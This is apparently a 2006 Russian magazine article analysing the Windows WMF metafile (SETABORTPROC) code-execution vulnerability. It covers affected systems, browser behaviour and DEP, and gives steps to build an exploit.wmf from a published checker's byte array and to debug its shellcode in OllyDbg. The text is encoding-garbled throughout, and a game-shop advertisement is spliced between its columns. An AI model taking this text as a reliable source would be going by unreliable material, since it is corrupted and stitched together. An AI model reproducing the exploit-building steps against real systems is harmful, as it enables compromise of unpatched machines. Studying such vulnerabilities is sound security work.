1 ÿíâàðÿ ïîÿâèëñÿ ïåðâûé ïîëèìîðôíûé âèðóñ, ãåíåðèðóþùèé ìåòàôàéëû ñëó÷àéíîãî ðàçìåðà ñ ïðîèçâîëüíûì ÷èñëîì ôðåéìîâ è âûñîêîêîíôèãóðàáåëüíûì shellêîäîì, ðàçìåùåííûé ìåæäó ôðåéìàìè è îáëàìûâàþùèé ðàíåå óñòàíîâëåííûå ôèëüòðû. Òîãäà æå íà÷àëàñü ìàññîâàÿ ðàññûëêà ïî ìûëó MSN-÷åðâÿ ñî ñòðîêîé Happy New Year â subj’å.

Äàëüøå — áîëüøå. 3 ÿíâàðÿ ïîÿâèëñÿ êîíñòðóêòîð ÷åðâåé, à ÷åðåç äåíü õàêåðû äîáðàëèñü è äî IRC. Ïîÿâèëàñü èíôîðìàöèÿ, ÷òî Google Desktop Search àâòîìàòè÷åñêè âûïîëíÿåò «íà÷èíêó» ìåòàôàéëîâ ïðè èíäåêñàöèè äèñêà. Òî åñòü, çëîóìûøëåííèêó äîñòàòî÷íî ïðîñòî çàáðîñèòü wmf-ôàéë íà êîìïüþòåð æåðòâû, è âñå.

Ñèòóàöèÿ ñòàíîâèëàñü êðèòè÷åñêîé, è âîò 5 ÿíâàðÿ, íà ïÿòü äííåé ðàíüøå îáåùàííîãî, Microsoft âûïóñòèëà äîëãîæäàííîå îôèöèàëüíîå îáíîâëåíèå äëÿ NT-ïîäîáíûõ ñèñòåì: www.micro soft.com/technet/security/Bulletin/ms06-001.mspx, îäíàêî Windows 9x âñå åùå îñòàåòñÿ íå çàëàòàííîé, íå ãîâîðÿ óæå î Windows 3.x è UNIX-ïîäîáíûõ ñèñòåìàõ.

067


ÂÇËÎÌ ///// ISSUE

ïðèáèòûé beehappyy.biz

ðàáî÷èé ñòîë çàðàæåííîé ìàøèíû

Microsoft Anti-Spyware áîðåòñÿ ïðîòèâ wmf-çàðàçû

Âíèìàòåëüíîå ÷òåíèå SDK (äà òîëüêî êòî æ åãî ÷èòàåò!) ïîêàçûâàåò, ÷òî íåêîòîðûå GDI-êîìàíäû ïîääåðæèâàþò ôóíêöèè îáðàòíîãî âûçîâà (îíè æå call-back’è), ïðèíèìàþùèå â êà÷åñòâå îäíîãî èç àðãóìåíòîâ óêàçàòåëü íà ïîëüçîâàòåëüñêóþ ïðîöåäóðó, äåëàþùóþ ÷òî-òî ïîëåçíîå (íàïðèìåð, îáðàáàòûâàþùóþ îøèáêè èëè äðóãèå âíåøòàòíûå ñèòóàöèè).  òîì æå ñàìîì SDK ãîâîðèòñÿ, ÷òî ïîñëåäîâàòåëüíîñòü GDI-êîìàíä ìîæåò áûòü ñîõðàíåíà â ìåòàôàéëå (WMF — Windows Meta File), à çàòåì «âîñïðîèçâåäåíà» íà ëþáîì óñòðîéñòâå, íàïðèìåð, ìîíèòîðå èëè ïðèíòåðå. Ïî îòäåëüíîñòè îáà ýòèõ ôàêòà õîðîøî èçâåñòíû, íî äîëãîå âðåìÿ íèêîìó íå óäàâàëàñü îáúåäèíèòü èõ â îäíó êàðòèíó. Âñå ïðèâûêëè ñ÷èòàòü WMF ãðàôè÷åñêèì ôîðìàòîì, ñîäåðæàùèì íàáîð äàííûõ, âîçìîæíîñòü âíåäðåíèÿ ìàøèííîãî êîäà êàê-òî óïóñêàëîñü èç âèäó, è íèêàêèå çàùèòíûå ìåðû íå ïðåäïðèíèìàëèñü. Ìåæäó òåì, åñëè çàïèñàòü â ìåòàôàéë GDI-êîìàíäó, îæèäàþùóþ óêàçàòåëÿ íà callback-ôóíêöèþ, ðàçìåùåííóþ òàì æå, òî ïðè «ïðîèãðûâàíèè» ìåòàôàéëà îíà ïîëó÷èò óïðàâëåíèå è âûïîëíèò âñå, ÷òî çàäóìàíî!

îäèí èç ìíîãèõ ñàéòîâ, ðàçäàþùèõ WMF-ýêñïëîéò

ìåòàôàéëîâ áûëè çíà÷èòåëüíî ðàñøèðåíû, è ïîÿâèëñÿ íîâûé ôîðìàò — EMF (Enhanced Metafile), îêðóæåííûé íîâûìè ôóíêöèÿìè: CreateEnhMetaFile/PlayEnhMetaFile/GetEngMetaFile. Îíè òàêæå ïîääåðæèâàþò âûïîëíåíèå ìàøèííîãî êîäà, ïîýòîìó, ñ òî÷êè çðåíèÿ áåçîïàñíîñòè, îáà ôîðìàòà òîæäåñòâåííû äðóã äðóãó. Ôóíêöèè, îáðàáàòûâàþùèå ìåòàôàéëû, ðåàëèçîâàíû âíóòðè GDI32.DLL. Èìåííî çäåñü è ñèäèò óÿçâèìîñòü. Áèáëèîòåêà shimgvw.dll — ýòî âñåãî ëèøü âûñîêîóðîâíåâàÿ «îáåðòêà», èñïîëüçóåìàÿ íåêîòîðûìè ïðèëîæåíèÿìè äëÿ îáðàáîòêè èçîáðàæåíèé, â òî âðåìÿ êàê äðóãèå íàïðÿìóþ ðàáîòàþò ñ GDI. Ê ñòàòüå ïðèëàãàåòñÿ ïðîãðàììà, äåìîíñòðèðóþùàÿ îñíîâíûå ïðèåìû ðàáîòû ñ ìåòàôàéëàìè, òû íàéäåøü åå íà íàøåì äèñêå. ÓßÇÂÈÌÛÅ ÑÈÑÒÅÌÛ Â ñâîåì áþëëåòåíå (support.microsoft.com/kb/912840) Microsoft îôèöèàëüíî ïîäòâåðæäàåò óÿçâèìîñòü ñëåäóþùèõ ñèñòåì: Windows Server 2003 SP0/SP1 (Standard, Datacenter, Enterprise è Web Edition), XP SP0/SP1/SP2 (Home è Professional), Windows

ÔÓÍÊÖÈÈ, ÎÁÐÀÁÀÒÛÂÀÞÙÈÅ ÌÅÒÀÔÀÉËÛ, ÐÅÀËÈÇÎÂÀÍÛ Â ÍÓÒÐÈ GDI32..DLL.. ÈÌÅÍÍÎ ÇÄÅÑÜ È ÑÈÄÈÒ ÓßÇÂÈ ÌÎÑÒÜ.. ÊÀÊ ÂÑÅ ÍÀ×ÈÍÀËÎÑÜ Ìåòàôàéëû ïîÿâèëèñü åùå â íà÷àëå 80-õ è íåèçâåñòíî, êîìó ïåðâîìó ïðèøëà â ãîëîâó ìûñëü èñïîëüçîâàòü èõ äëÿ ðàñïðîñòðàíåíèÿ çëîâðåäíîãî êîäà. ß îáîñíîâàë òåîðåòè÷åñêóþ âîçìîæíîñòü òàêîé àòàêè åùå ëåò ïÿòü íàçàä, à ÷åðåç äâà ãîäà ïîñëå ýòîãî äàæå ïðèâåë ôðàãìåíò ðàáîòîñïîñîáíîãî ýêñïëîéòà â «Ñèñòåìíîì àäìèíèñòðàòîðå» (èëè ýòî áûë «Ïðîãðàììèñò»?). Îäíàêî ìîé ñïëîèò îñòàëñÿ íåçàìå÷åííûì, è òðåâîãó çàáèëè ëèøü 27 äåêàáðÿ 2005 ãîäà, êîãäà íà ðàáî÷èõ ñòîëàõ ðàçíûõ ïîëüçîâàòåëåé ñòàëà ïîÿâëÿòüñÿ âñÿêàÿ íåïîòðåáíîñòü, à ñòîðîæåâûå ïðîãðàììû íà÷àëè ëîâèòü íåïîíÿòíî îòêóäà âçÿâøèõñÿ ÷åðâåé è ðóãàòüñÿ ìàòîì. Ïîèìêà îñóùåñòâëÿëàñü ïî êëàññè÷åñêîìó ïðèíöèïó: îòñëåæèâàíèå ñîçäàâàåìûõ ôàéëîâ, ìîíèòîðèíã ðååñòðà è òàê äàëåå, òî åñòü ëîâèëàñü íå ñàìà WMF-íà÷èíêà, à ïîñëåäñòâèÿ åå íåïðîäóìàííîé «æèçíåäåÿòåëüíîñòè». Ãðàìîòíî ñïðîåêòèðîâàííûé shell-êîä îñòàâàëñÿ íåçàìå÷åííûì. ×ÒÎ ÒÀÊÎÅ WMF Ìåòàôàéëû ïðåäñòàâëÿþò ñîáîé ïîñëåäîâàòåëüíîñòü êîìàíä GDI è, ñ òî÷êè çðåíèÿ ãðàôè÷åñêîé ïîäñèñòåìû Windows, ÿâëÿþòñÿ òàêèì æå «óñòðîéñòâîì», êàê ìîíèòîð èëè ïðèíòåð, íî åñëè èíôîðìàöèÿ, âûâîäèìàÿ íà ìîíèòîð/ïðèíòåð êàê áû «âûïàäàåò èç îáðàùåíèÿ», òî WMF-ôàéë ìîæíî «ïðîèãðûâàòü» ìíîãîêðàòíî, ïåðåäàâàòü ïî Ñåòè è òàê äàëåå. Ôóíêöèÿ HDC CreateMetaFile(LPCTSTR lpszFile) ñîçäàåò ìåòàôàéë, âîçâðàùàÿ êîíòåêñò óñòðîéñòâà, íà êîòîðîì ìîæíî ðèñîâàòü ñòàíäàðòíûìè GDI-ôóíêöèÿìè, òàêèìè êàê LineTo èëè Rectange, à ôóíêöèÿ PlayMetaFile (HDC hdc, HMETAFILE hmf) «ïðîèãðûâàåò» ìåòàôàéë, îòêðûòûé ôóíêöèåé GetMetaFile (LPCTSTR lpszMetaFile), âûâîäÿ åãî ��îäåðæèìîå íà çàäàííîå óñòðîéñòâî, íàïðèìåð, òàê:

ëèñòèíã 1: âûâîä ìåòàôàéëà íà ýêðàí HDC DC; HMETAFILE h_meta; // îáúÿâëÿåì ïåðåìåííûå DC = GetDC(0); // ïîëó÷àåì êîíòåêñò äëÿ âûâîäà h_meta = GetMetaFile(«demo.wmf»);// îòêðûâàåì ìåòàôàéë... PlayMetaFile(DC, h_meta); // ...è «ïðîèãðûâàåì» åãî Ôóíêöèè CreateMetaFile/PlayMetaFile/GetMetaFile ôîðìàëüíî ñ÷èòàþòñÿ óñòàðåâøèìè, îäíàêî ïîääåðæèâàþòñÿ âñåìè Windows-ïîäîáíûìè ñèñòåìàìè äëÿ ñîâìåñòèìîñòè. Íà÷èíàÿ ñ 9x, âîçìîæíîñòè

068

2000 SP0/SP1/SP2/SP3/SP4 (Professional, Advanced è Datacenter Server) è Windows 98/Millennium. Óÿçâèìîñòè ïîäâåðæåíû ïðàêòè÷åñêè âñå ïëàòôîðìû: x86, x64 è Itanium. Äîâîëüíî âíóøèòåëüíûé ñïèñîê, ê òîìó æå â íåì íå óïîìÿíóòà Windows 3.x è íåêîòîðûå UNIX-ñèñòåìû, äîáðîñîâåñòíî ïîääåðæèâàþùèå âðàæåñêèé wmf-ôîðìàò.  ÷àñòíîñòè, ñîîáùàåòñÿ îá óÿçâèìîñòè ïîïóëÿðíîãî ýìóëÿòîðà wine è Mac OS. Êîøìàð! Èëè… åùå îäíà ðàçäóòàÿ ñåíñàöèÿ? Ýêñïåðèìåíòû ìûùúõ’à ïîêàçûâàþò, ÷òî äåëà îáñòîÿò íå òàê óæ è ïëîõî. Ìîãëî áûòü è õóæå. Íà÷íåì ñ òîãî, ÷òî, â îòëè÷èå îò ïå÷àëüíî èçâåñòíûõ äûð â SQL è DCOM RPC, WMF-ôàéëû íå ïîääåðæèâàþò àâòîìàòè÷åñêîå ðàçìíîæåíèå ÷åðâåé. Æåðòâà äîëæíà çàãðóçèòü ìåòàôàéë èç Ñåòè è ïîïûòàòüñÿ åãî îòîáðàçèòü. Èìååòñÿ ìíîæåñòâî ñîîáùåíèé, ÷òî Internet Explorer è Outlook Express àâòîìàòè÷åñêè «âîñïðîèçâîäÿò» WMF-ôàéëû, óêàçàííûå â òýãå IMG, è ýòî äåéñòâèòåëüíî òàê, îäíàêî ëè÷íî ìíå íè îäèí èç ýêñïëîéòîâ çàñòàâèòü ðàáîòàòü òàê è íå óäàëîñü (W2K SP4 IE 6.0), ïðè÷åì IE îòîáðàæàåò òîëüêî ðàñøèðåííûå (emf) ìåòàôàéëû è òîëüêî òå èç íèõ, ÷òî èìåþò ðàñøèðåíèå WMF/EMF, íî íå gif èëè jmp. ×òî æå êàñàåòñÿ àëüòåðíàòèâíûõ áðàóçåðîâ, òî Opera è ðàííèå âåðñèè FireFox (1.0.4) íå ïîääåðæèâàþò îòîáðàæåíèå ìåòàôàéëîâ, ïîêàçûâàÿ ïóñòîé êâàäðàò, ùåë÷îê ïî êîòîðîìó ïðèâîäèò ê ïîÿâëåíèþ äèàëîãîâîãî îêíà, ïðåäëàãàþùåãî ñîõðàíèòü ôàéë íà äèñê èëè îòêðûòü åãî ñ ïîìîùüþ àññîöèèðîâàííîãî ñ íèì ïðèëîæåíèÿ. Îáû÷íî ýòî óÿçâèìûé Windows Picture and Fax Viewer, îäíàêî ó ìåíÿ îí íå óñòàíîâëåí, òàê êàê ÿ ñìîòðþ âñå ôàéëû ïðè ïîìîùè Microsoft Photo Editor’à (êîòîðûé íå ïîääåðæèâàåò WMF-ôàéëîâ è ïîòîìó íåóÿçâèì) èëè Irfan Viever’à (óÿçâèì ïîä NT, íî áåçîïàñåí ïîä 9x). Àãðåññèâíûé õàðàêòåð Google Desktop Search ìû óæå îòìå÷àëè. Ïîçäíèå âåðñèè FireFox (1.5) îòêðûâàþò ìåòàôàéëû ïðè ïîìîùè Windows Media Player, êîòîðûé èõ íè õðåíà íå ïîääåðæèâàåò è ïîòîìó çëîâðåäíûé êîä íå ïîëó÷àåò óïðàâëåíèÿ. Íî äàæå ïðè «ðó÷íîé» ðàáîòå ñ GDI íåîáõîäèìî î÷åíü ñèëüíî ïîñòàðàòüñÿ, ÷òîáû âûïîëíèòü êîä âíóòðè WMF-ôàéëà. Âîçüìåì exploit.wmf, ïðèëàãàåìûé ê ñòàòüå, è âûáðàííûé èç WMF-checker’à îò Èëüôàêà è ïîïðîáóåì âûâåñòè åãî íà ýêðàí ôóíêöèåé PlayMetaFile, êàê ïîêàçàíî â ëèñòèíãå 1. Ïîä W2K SP4 (äðóãèå ñèñòåìû íå ïðîâåðÿë) «÷åñòíûå» WMF-ôàéëû íîðìàëüíî âûâîäÿòñÿ, ïîäòâåðæäàÿ, ÷òî ïðîãðàììà íàïèñàíà ïðàâèëüíî, íî exploit.wmf íå ïîëó÷àåò óïðàâëåíèÿ! Shell-êîä íå âûïîëíÿåòñÿ, à âåäü äîëæåí… Íî ñòîèò çàìåíèòü êîíòåêñò îêíà êîíòåêñòîì ñïå-

XÀÊÅÐ 02 /86/ 06


ÂÇËÎÌ ///// ISSUE

ðåàêöèÿ áðàóçåðà Opera íà WMF-ýêñïëîéò — ïðåäëîæåíèå îòêðûòü ìåòàôàéë àññîöèèðîâàííûì ñ íèì ïðèëîæåíèåì (â äàííîì ñëó÷àå íèêàêîå ïðèëîæåíèå íå àññîöèèðîâàíî)

ìåòàôàéëû â äåéñòâèè!

ðåàêöèÿ IE — WMF-ôàéë ñ ýêñïëîéòîì íå îòîáðàæàåòñÿ, è shell-êîä íå ïîëó÷àåò óïðàâëåíèå; ÷åñòíûé WMF-ôàéë ñ «ëåâûì» ðàñøèðåíèåì gif òàêæå íå îòîáðàæàåòñÿ

öèàëüíî ñîçäàííîãî ìåòàôàéëà, êàê íà ýêðàí âûïðûãèâàåò äèàëîãîâîå îêíî, âûçûâàåìîå shell-êîäîì:

DC = CreateEnhMetaFile(0, 0, 0, «demo»); // ïðîèãðûâàåì ìåòàôàéë â äðóãîé ìåòàôàéë h_meta = GetMetaFile(«exploit.wmf»); PlayMetaFile(DC, h_meta); Ïîä Widows 98 exploit.wmf íàãëóõî âåøàåò ñèñòåìó, íåçàâèñÿùóþ îò âûáðàííîãî êîíòåêñòà. Òàê æå ïîñòóïàþò è äðóãèå ýêñïëîéòû, âûëîâëåííûå â Ñåòè. Òàê ÷òî êîëè÷åñòâî óÿçâèìûõ ïëàòôîðì ðåàëüíî îãðàíè÷èâàåòñÿ îäíîé ëèøü NT, ïðè÷åì âåðñèÿ ïîä Intanium òðåáóåò ñïåöèàëüíî ñïðîåêòèðîâàííîãî shell-êîäà. Âîò òóò íåêîòîðûå çàäàþò âîïðîñ: çàùèùàåò ëè DEP îò àòàêè èëè íåò? Àïïàðàòíûé DEP ïðåäîòâðàùàåò íåïðåäóìûøëåííîå âûïîëíåíèå ìàøèííîãî êîäà â îáëàñòè äàííûõ, íî íå ïðåïÿòñòâóåò ÿâíîìó íàçíà÷åíèþ íóæíûõ àòðèáóòîâ ôóíêöèåé VirtualAlloc/VirtualProtect. Ïîýòîìó âåñü âîïðîñ â òîì, â êàêîé ðåãèîí ïàìÿòè çàãðóæàåò ìåòàôàéë òî èëè èíîå ïðèëîæåíèå.

SETABORTPROC, êîòîðàÿ, â ñâîþ î÷åðåäü, ðåãèñòðèðóåò ïîëüçîâàòåëüñêóþ callback-ôóíêöèþ, èçíà÷àëüíî ïðåäíàçíà÷åííóþ äëÿ îòìåíû çàäàíèé, óæå íàõîäÿùèõñÿ â î÷åðåäè íà ïå÷àòü. Ýòî íå åäèíñòâåííàÿ GDI-ôóíêöèÿ, ïðèíèìàþùàÿ callback’è, åñòü è äðóãèå (êàê äîêóìåíòèðîâàííûå, òàê è íå ñîâñåì, íàïðèìåð, LineDDA, SetICMMode), íî, ïî-âèäèìîìó, òîëüêî META_ESCAPE/SETABORTPROC ìîæåò áûòü âíåäðåíà â ìåòàôàéë. Èëè âñå-òàêè íåò? Äèçàññåìáëèðîâàíèå GDI32.DLL ïîêàçûâàåò îãðîìíîå êîëè÷åñòâî ôóíêöèé òèïà call reg, ãäå reg — óêàçàòåëü, ïîëó÷åííûé èç WMF-ôàéëà, êàæäàÿ èç êîòîðûõ ìîæåò îêàçàòüñÿ íîâûì «ñâÿùåííûì ãðààëåì» è íîâîé äûðîé, íî íå áóäåì íà íèõ îñòàíàâëèâàòüñÿ, ÷òîáû íå îáëåã÷àòü ðàáîòó «ñïåöèàëèñòàì ïî áåçîïàñíîñòè», ïèòàþùèõñÿ ÷óæèìè èäåÿìè. Âïðî÷åì, õàêåðû ïîñòóïàþò òî÷íî òàê æå, è ïðåæäå, ÷åì ðàçðàáàòûâàòü ñîáñòâåííîãî ÷åðâÿ, ïðåïàðèðóþò óæå ñóùåñòâóþùèå. Ìû ïîñëåäóåì ýòîé òåíäåíöèè è ðàñêîâûðÿåì ñåé÷àñ êàêîé-íèáóäü ñïëîèò.

ÓÞ ßÙÓ ÂÈÑß ËÓÕÎ ÂÅØÀÅÒ ÑÈÑÒÅÌÓ, ÍÅÇÀ T.WMF ÍÀÃË ÏÎÄ WIDOWS 98 EXPLOIT ÒÀ.. Ò ÂÛÁÐÀÍÍÎÃÎ ÊÎÍÒÅÊÑÒ ÎÒ ÑÏÀÑÅÒ ËÈ DEP? Ïîïðîáóåì ýòî âûÿñíèòü ñ ïîìîùüþ ìåòàôàéëà exploit.wmf è îòëàä÷èêà OllyDbg. ×òîáû áåñòîëêó íå òðàññèðîâàòü êèëîìåòðû ïîñòîðîííåãî êîäà, äàâàé âíåäðèì â exploit.wmf òî÷êó îñòàíîâà, ïðåäâàðèòåëüíî ñêîïèðîâàâ åãî â wmf-int3.wmf, ÷òîáû íå èñïîðòèòü îðèãèíàë. Îòêðûâàåì ìåòàôàéë â hiew’å, äàâèì <F5> (goto) è ïåðåõîäèì ïî ñìåùåíèþ 1Ch, îòêóäà, ñîáñòâåííî ãîâîðÿ, è íà÷èíàåòñÿ àêòóàëüíûé shell-êîä. Ïåðåõîäèì â ðåæèì ðåäàêòèðîâàíèÿ ïî <F3> è ïèøåì CCh, ïîêà íå íàäîåñò. Ñîõðàíÿåì èçìåíåíèÿ ïî <F9> è âûõîäèì. Áåðåì ñ äèñêà óæå ãîòîâûé ôàéë PlayMetaFile.exe è çàãðóæàåì åãî â îòëàä÷èê, íàæèìàÿ <F9> äëÿ çàïóñêà ïðîãðàììû, êîòîðàÿ òóò æå ãðîõàåòñÿ, ïîñêîëüêó íàòûêàåòñÿ íà çàáîð èç CCh, êàæäûé èç êîòîðûõ ñîîòâåòñòâóåò ìàøèííîé èíñòðóêöèè INT 03h, âûçûâàåìîé îòëàä÷èêîì. Ñìîòðèì íà EIP. Îí óêàçûâàåò íà 8B001Dh (åñòåñòâåííî, íà äðóãèõ ñèñòåìàõ ýòî çíà÷åíèå ìîæåò áûòü èíûì). Êàðòà ïàìÿòè ïîêàçûâàåò, ÷òî ýòà îáëàñòü ïàìÿòè èìååò àòðèáóòû «Òîëüêî íà ÷òåíèå» è ïðè àêòèâíîì àïïàðàòíîì DEP íèêàêîé êîä çäåñü èñïîëíÿòüñÿ íå ìîæåò (ïðîãðàììíûé DEP îò ýòîãî íå çàùèùàåò). Îäíàêî ïî óìîë÷àíèþ DEP çàäåéñòâîâàí òîëüêî äëÿ íåêîòîðûõ ñèñòåìíûõ ñëóæá, à ïîëüçîâàòåëüñêèå ïðîãðàììû ìîãóò âûòâîðÿòü ÷òî óãîäíî… Òàêàÿ âîò, çíà÷èò, ñèòóàöèÿ. À êàê âåäåò ñåáÿ Irfan Viewer? Ïîñìîòðèì-ïîñìîòðèì. Ðåãèñòð EIP óêàçûâàåò íà 13D31Ch è, ñóäÿ ïî êàðòå ïàìÿòè, íàõîäèòñÿ ãëóáîêî â ñòåêå, äîñòóïíîì êàê íà ÷òåíèå, òàê è íà çàïèñü, íî òîëüêî íå íà èñïîëíåíèå. Çíà÷èò, åñëè çàäåéñòâîâàòü DEP äëÿ âñåõ ïðèëîæåíèé, WMF-ýêñïëîéòû îêàæóòñÿ íåðàáîòîñïîñîáíû, îäíàêî äàëåêî íå âñå ïðîöåññîðû ïîääåðæèâàþò DEP, òàê ÷òî óãðîçà àòàêè âïîëíå àêòóàëüíà, íî âñå-òàêè íå íàñòîëüêî âåëèêà, êàê ýòî ïûòàþòñÿ ïðåäñòàâèòü íåêîòîðûå àíòèâèðóñíûå êîìïàíèè. ÊÀÊ ÐÀÁÎÒÀÞÒ ÈÇÂÅÑÒÍÛÅ ÑÏËÎÈÒÛ Èçâåñòíûå ìíå ýêñïëîéòû âíåäðÿþò â WMF-ôàéë ecsape-ïîñëåäîâàòåëüíîñòü META_ESCAPE, âûçûâàþùóþ ôóíêöèþ

070

ÏÐÅÏÎÐÈÐÓÅÌ ÑÏËÎÈÒ Äëÿ àíàëèçà õîðîøî ïîäõîäèò WMF Exploit Checker îò Èëüôàêà Ãóèëüôàíîâà, èñõîäíûé êîä êîòîðîãî ìîæíî íàéòè íà íàøåì äèñêå; òàì æå ëåæèò îòêîìïèëèðîâàííûé áèíàðíèê. Çíàé, ÷òî ýòî íèêàêîé íå checker, à ñàìûé íàñòîÿùèé ýêñïëîéò, âíåäðÿþùèé â WMF-ôàéë ìàøèííûé êîä, ïûòàþùèéñÿ âûâåñòè íà ýêðàí Your system is vulnerable to WMF exploits!. Ðàñïàêîâàâ zip-àðõèâ ñ èñõîäíûìè òåêñòàìè, ìû íàéäåì ñåìü ôàéëîâ ñëåäóþùåãî ñîäåðæàíèÿ:

* tell.asm: shell-êîä, ïîäãîòîâëåííûé ê âíåäðåíèþ; * wmf_checker_hexblog.cpp: ñîçäàåò wmf-ôàéë, âíåäðÿåò òóäà shell-êîä è ïðîèãðûâàåò åãî; * wmfdata.cpp: îòêîìèëèðîâàííûé tell.asm ñ ãîòîâûì wmf-çàãîëîâêîì; * wmfhdr.wmf: wmf-çàãîëîâîê ñ escape-ïîñëåäîâàòåëüíîñòüþ è ôóíêöèé SetAbortProc; wmfdata.cpp ïðåäñòàâëÿåò ñîáîé ãîòîâûé WMF-ôàéë ñ shell-êîäîì, êîòîðûé ìîæíî ñêîðìèòü Internet Exporer’ó, IrfanView’ó èëè ëþáîé äðóãîé ïðîãðàììå ïîäîáíîãî òèïà, íî òîëüêî ïðåäâàðèòåëüíî íåîáõîäèìî ïðåîáðàçîâàòü cpp â bin, ïîñêîëüêó ó Èëüôàêà äâîè÷íûå äàííûå ïðåäñòàâëåíû â âèäå ìàññèâà uchar:

static uchar array[] = { 0x01,0x00,0x09,0x00,0x00,0x03,0xED,0x00,0x00,0x00,0x06,0x0 0,0x3D,0x00,0x00,0x00, Òåïåðü îñòàëîñü òîëüêî èçìåíèòü òèï ìàññèâà uchar íà char è äîáàâèòü â wmfdata.cpp ïàðó ñòðîê:

#include <stdio.h> main(){ FILE *f = fopen(«exploit.wmf»,»wb»); fwrite(array, sizeof(array), 1, f);} Ïîñëå ýòîãî îñòàëîñü òîëüêî ñîáðàòü áèíàðíèê ëþáûì ANSI-ñîâ-

XÀÊÅÐ 02 /86/ 06


ÝÍÖÈÊËÎÏÅÄÈß

GamePost Íåçàìåíèìûé ïîìîùíèê ïðè âûáîðå èãðû

Îïèñàíèå: Fahrenheit (òàêæå èçâåñòíûé êàê Indigo Prophecy) – îäèí èç ãëàâíûõ õèòîâ 2005 ãîäà. Ýòî èíòåðàêòèâíûé òðèëëåð, ãäå âû èãðàåòå è çà äåòåêòèâîâ, è çà ïîäîçðåâàåìîãî – è êàæäîå âàøå äåéñòâèå, êàæäûé âûáîð èìååò çíà÷åíèå. Èíòóèòèâíîå óïðàâëåíèå, è èíòåðôåéñ, äîâå äåííûé äî ìèíèìàëèçìà, ïîìîãàþò ïîãðóçèòü ñÿ â èãðó ñ ãîëîâîé, à ïîâîðîòû ñþæåòà ïðî äåðæàò âàñ â íàïðÿæåíèè äî ñàìîé ðàçâÿçêè.

Fahrenheit (Indigo Prophecy)

Æàíð:

$69.99

Adventure

Îïèñàíèå: Ðàçðàáîò÷èêè Guild Wars âçÿëè âñå ëó÷øèå ÷åðòû èç äðóãèõ MMORPG è ñìåøàëè èõ òà êèì îáðàçîì, ÷òî âû çàáóäåòå îáî âñåì òîì, ÷òî äî ñèõ ïîð ðàçäðàæàëî âàñ â ìíîãîïîëü çîâàòåëüñêèõ èãðàõ. Âû ìîæåòå âñòðåòèòü íî âûõ äðóçåé â ãîðîäàõ è êðåïîñòÿõ, ñôîðìèðî âàòü ïàðòèþ è òóò æå îòïðàâèòüñÿ âûïîëíÿòü çàäàíèÿ âìåñòå.  âàøåé ïàðòèè âñåãäà áóäåò êîïèè êàðòû êâåñòà.

Guild Wars Special Edition (EURO)

Æàíð:

$79.99

RPG

Îïèñàíèå: Age of Empires III ïîãðóçèò âàñ â àòìîñôåðó XVI-X XIX âåêîâ. Âàì ïðåäñòîèò ñòðîèòü ñîáñòâåííóþ èìïåðèþ, êîëîíèçèðîâàòü è çà âîåâûâàòü Ñåâåðíóþ è Þæíóþ Àìåðèêó è ó÷àñòâîâàòü â ýïè÷åñêèõ âîéíàõ. Íåâèäàííûé óðîâåíü ðåàëèçìà è âåëèêîëåïíî îòîáðàæåí íîå êóëüòóðíîå ðàçíîîáðàçèå ïîðàäóþò äàæå ñàìûõ óòîí÷åííûõ ýñòåòîâ.

Age of Empires III

Æàíð:

$79.99

Strategy

Èãðàé ïðîñòî! GamePost

ÑÀÌÀß ÏÎËÍÀß ÈÍÔÎÐÌÀÖÈß ÎÁ ÈÃÐÀÕ * Îãðîìíîå

êîëè÷åñòâî ñêðèíøîòîâ

*

Èñ÷åðïûâàþùèå îïèñàíèÿ

* Âîçìîæíîñòü ïîñìîòðåòü ñîäåðæèìîå êîðîáîê


ÂÇËÎÌ ///// ISSUE

ïðèíöèï äåéñòâèÿ òèïè÷íîãî WMF-ýêñïëîéòà

òàê ÷åðâü àòàêóåò óÿçâèìóþ ñèñòåìó

ìåñòèìûì êîìïèëÿòîðîì è çàïóñòèòü ïîëó÷åííûé wmfdata.exe íà âûïîëíåíèå. Íà äèñêå îáðàçóåòñÿ ìåòàôàéë exploit.wmf. Îòêðîåì åãî ñ ïîìîùüþ Infan Viewr’à èëè ëþáîãî äðóãîãî ïðîñìîòðùèêà WMF-ôàéëîâ, è åñëè íàøà ñèñòåìà óÿçâèìà, òî íà ýêðàí âûñêî÷èò ñèìïàòè÷íîå äèàëîãîâîå îêîøêî. Ïîïðîáóåì äèçàññåìáëèðîâàòü WMF-ôàéë. Äëÿ ýòîãî íàì ïîíàäîáèòñÿ IDA Pro ëþáîé âåðñèè (ìîæíî îãðàíè÷èòüñÿ è hiew) è ñïåöèôèêàöèÿ WMF-ôîðìàòà, êîòîðóþ ìîæíî íàðûòü íà íàøåì äèñêå. Ìåòàôàéë ñîñòîèò èç çàãîëîâêà (standard metafile header) è ïðîèçâîëüíîãî êîëè÷åñòâà ôðåéìîâûõ çàïèñåé (standard metafile record). Ðàñøèðåííûé ìåòàôàéë óñòðîåí ÷óòü-÷óòü ñëîæíåå, íî ìû íå áóäåì â íåãî óãëóáëÿòüñÿ. Çàãîëîâîê ïðåäñòàâëÿåò ñîáîé ñòðóêòóðó ñëåäóþùåãî òèïà:

ñòðóêòóðà çàãîëîâêà ìåòàôàéëà typedef struct _WindowsMetaHeader { WORD FileType; //òèï ìåòàôàéëà (0 == ïàìÿòü, 1 == äèñê) WORD HeaderSize; //ðàçìåð çàãîëîâêà â ñëîâàõ (âñåãäà 9) WORD Version; //òðåáóåìàÿ âåðñèÿ Windows DWORDFileSize;//ïîëíûé ðàçìåð ìåòàôàéëà â ñëîâàõ WORD NumOfObjects;//êîëè÷åñòâî îáúåêòîâ â ôàéëå DWORDMaxRecordSize;//max ðàçìåð çàïèñè â ñëîâàõ WORD NumOfParams;//íå èñïîëüçóåòñÿ (== 0) } WMFHEAD; À êàæäàÿ ôðåéìîâàÿ çàïèñü óñòðîåíà òàê:

